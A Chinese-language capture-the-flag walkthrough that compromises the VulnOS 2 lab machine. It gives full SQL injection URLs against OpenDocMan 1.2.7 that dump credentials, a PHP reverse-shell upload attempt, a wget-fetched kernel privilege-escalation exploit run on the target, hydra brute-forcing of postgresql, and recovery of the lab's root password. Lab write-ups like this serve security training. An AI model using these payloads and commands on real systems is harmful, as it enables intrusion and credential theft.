nmap端口扫描-->访问网站搜集信息-->利用OpenDocMan v1.2.7的sql注入漏洞获取webmin用户的密码-->webmin用户ssh登录搜集信息-->利用内核版本漏洞提权(或者 爆破postgresql用户名密码-->postgresql中获得vulnosadmin的密码-->通过vulnosadmin用户目录下的r00t.blend文件获得root用户密码)
具体步骤: 前置步骤:arp-scan扫描得到靶机ip攻击机中输入
sudo arp-scan -l
扫描到同网段ip,根据靶机MAC地址,可知本靶机ip为192.168.101.27
攻击机上输入以下命令,对靶机进行TCP全端口的扫描
sudo nmap -sS -A -p- 192.168.101.27
扫描出开放端口22(ssh),80(http),6667(irc,这个有点神奇,不知道后面会不会用到)
浏览器访问:http://192.168.101.27/
进来之后是这样的提示通过渗透website获取root权限和flag
点击上图的website,来到 http://192.168.101.27/jabc/
在这个站点四处逛逛,最后来到了documentation页面:http://192.168.101.27/jabc/?q=node/7
啥也没有,就有点诡异
右键 查看页面源代码,发现隐藏的提示
根据上图中的提示访问: http://192.168.101.27/jabcd0cs/
用户名和密码都是guest
在这个站点也翻了一遍没发现啥特有用的,但注意到网站是用OpenDocMan v1.2.7创建的。
在exploit-db中查找OpenDocMan,找到一条版本符合的
OpenDocMan 1.2.7 - Multiple Vulnerabilities - PHP webapps Exploithttps://www.exploit-db.com/exploits/32075里面记录了两个问题,一个是sql注入,由于我们现在是guest用户,可能可以利用这个获得管理员账户和密码;第二个是通过访问控制漏洞使当前用户获取管理员权限,我没用这个方法,但有小伙伴用这个方法也成功了。
那就试试sql注入吧:
浏览器访问如下url,获得当前数据库名称(其实这步没啥必要)
http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,database(),3,4,5,6,7,8,9
浏览器访问如下url,获得当前数据库所有表名称
http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()
浏览器访问如下url,获得当前数据库表odm_user的所有列名称。
特别注意,后端应该是过滤了引号,所以需要用十六进制编码来表示表名。
http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_name=0x6f646d5f75736572 and table_schema=database()
浏览器访问如下url,获得当前数据库表odm_user的列username和password的所有值
http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(concat(username,0x5e,password)),3,4,5,6,7,8,9 from odm_user
从上图结果可知,这个站点有两个用户,一个是我们已知的guest,另一个叫webmin,可能是管理员。
拿webmin的密码到md5解密网站上去解一下,得到webmin的密码webmin1980
拿webmin账户密码登录http://192.168.101.27/jabcd0cs/
可以发现admin页面http://192.168.101.27/jabcd0cs/admin.php
由于现阶段的目标是getshell,且网站有上传文件的功能,且之前尝试上传php文件没有上传成功,所以很有可能是需要用管理员账户修改上传文件相关的配置。
点击Edit file types进入http://192.168.101.27/jabcd0cs/filetypes.php?submit=update&state=2
点Add File Type进入http://192.168.101.27/jabcd0cs/filetypes.php?submit=AddNew
之前上传php文件的时候报的是不支持text/x-php,这里把text/x-php加上
来到http://192.168.101.27/jabcd0cs/add.php上传php反弹shell文件
上传成功
在 http://192.168.101.27/jabcd0cs/settings.php?submit=update&state=2 可以找到文件上传路径
访问文件上传路径 http://192.168.101.27/jabcd0cs/uploads/ 发现文件转换为.dat了。所以如果想通过访问php反弹shell文件获得反弹shell,还需要找到一个本地文件包含漏洞,但是遍访网站并没有找到这个漏洞TAT……这条路就断了
用刚刚获得的webmin账号和密码webmin1980登录ssh,登录成功,获得shell
查看靶机内核版本
uname -a
在exploit-db上搜索3.13.0,找到一个提权脚本
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation - Linux local Exploithttps://www.exploit-db.com/exploits/37292把这个脚本下载到攻击机上,攻击机上开http服务
python -m SimpleHTTPServer 7777
把这个提权脚本从攻击机下载到靶机上
wget http://192.168.101.25:7777/37292.c
在靶机上编译
gcc -o 37292 37292.c
执行
./37292
成功提权
输入如下命令,获得交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
找到flag
其实到上一步这个靶机就可以结束了,但打靶机总不能老用内核提权吧,太没劲了。
在vulnhub上看到一个挺复杂的提权方法,跟着学习一下
g0blin Research: VulnOS 2 VulnHub Writeuphttps://g0blin.co.uk/vulnos-2-vulnhub-writeup/https://download.vulnhub.com/media/vulnos2/VulnOSv2%20Walkthrough%20-%20c4b3rw0lf.pdf
https://download.vulnhub.com/media/vulnos2/VulnOSv2%20Walkthrough%20-%20c4b3rw0lf.pdf(1)用webmin账号密码ssh登录之后,首先切换到上一级目录,发现还有一个用户目录vulnosadmin,这个目录webmin是没有权限的。
(2)再进到webmin目录下,解压 post.tar.gz
tar zxvf post.tar.gz
看解压出来的结果,有很多hydra相关的文件,应该是要用到hydra爆破
(3)查看靶机监听状态的端口
由于webmin没有netstat -p选项的权限,所以得netstat两遍:
第一遍
netstat -ant
第二遍
netstat -at
两遍一对比,发现本地监听的一个是mysql(3306端口),一个是postgresql(5432端口)。
由于上一步中解压的文件夹名称是post,所以合理推测要爆破的是postgresql(5432端口)。
(4)安装hydra
进post目录
cd post
输入
./configure
再输入
make
输入如下命令,如果正常返回help结果,则表示hydra安装成功
hydra --help
(5)拷贝密码字典到靶机
攻击机上进入/usr/share/metasploit-framework/data/wordlists目录,开http服务
python -m SimpleHTTPServer 7777
靶机shell中输入,下载字典postgres_default_pass.txt
wget http://192.168.101.25:7777/postgres_default_pass.txt
(6)用hydra爆破postgresql密码
靶机shell输入命令
./hydra -L postgres_default_pass.txt -P postgres_default_pass.txt localhost postgres
爆破结果如下图,用户名postgres,密码postgres
(7) 进入postgresql,拿到vulnosadmin用户的密码
登录postgresql
psql -h localhost -U postgres
查看所有数据库
postgres=# \l
进入system数据库
postgres=# \c system
列出system数据库的表
system=# \dt
获取system数据库users表的内容(注意结尾分号,关键字大写)
system=# SELECT * FROM users;
获取到 vulnosadmin用户的密码c4nuh4ckm3tw1c3
(8)vulnosadmin用户ssh登录
ssh vulnosadmin@192.168.101.27
该用户目录下有一文件r00t.blend
(9)将r00t.blend拷贝到攻击机
靶机vulnosadmin用户shell开http服务,监听8888端口
python -m SimpleHTTPServer 8888
攻击机下载 r00t.blend文件
wget http://192.168.101.27:8888/r00t.blend
(10)攻击机(kali)安装blender
安装snapd
sudo apt update
sudo apt install snapd
启动snapd
sudo systemctl start snapd
安装blender
sudo snap install blender --classic
(11)用blender打开r00t.blend查看root用户的密码
打开blender
/snap/bin/blender
用blender打开r00t.blend,刚打开的时候就是一个四面不透风的方块,右上角小框框里面选Text,这个时候就能看到文字了
上面的图看不清到底什么字,左边选Rotate,旋转一下文字,可以看清是ab12fg//drg了,这个是root用户的密码
(12)root用户ssh登录
ssh root@192.168.101.27
输入密码 ab12fg//drg,成功登录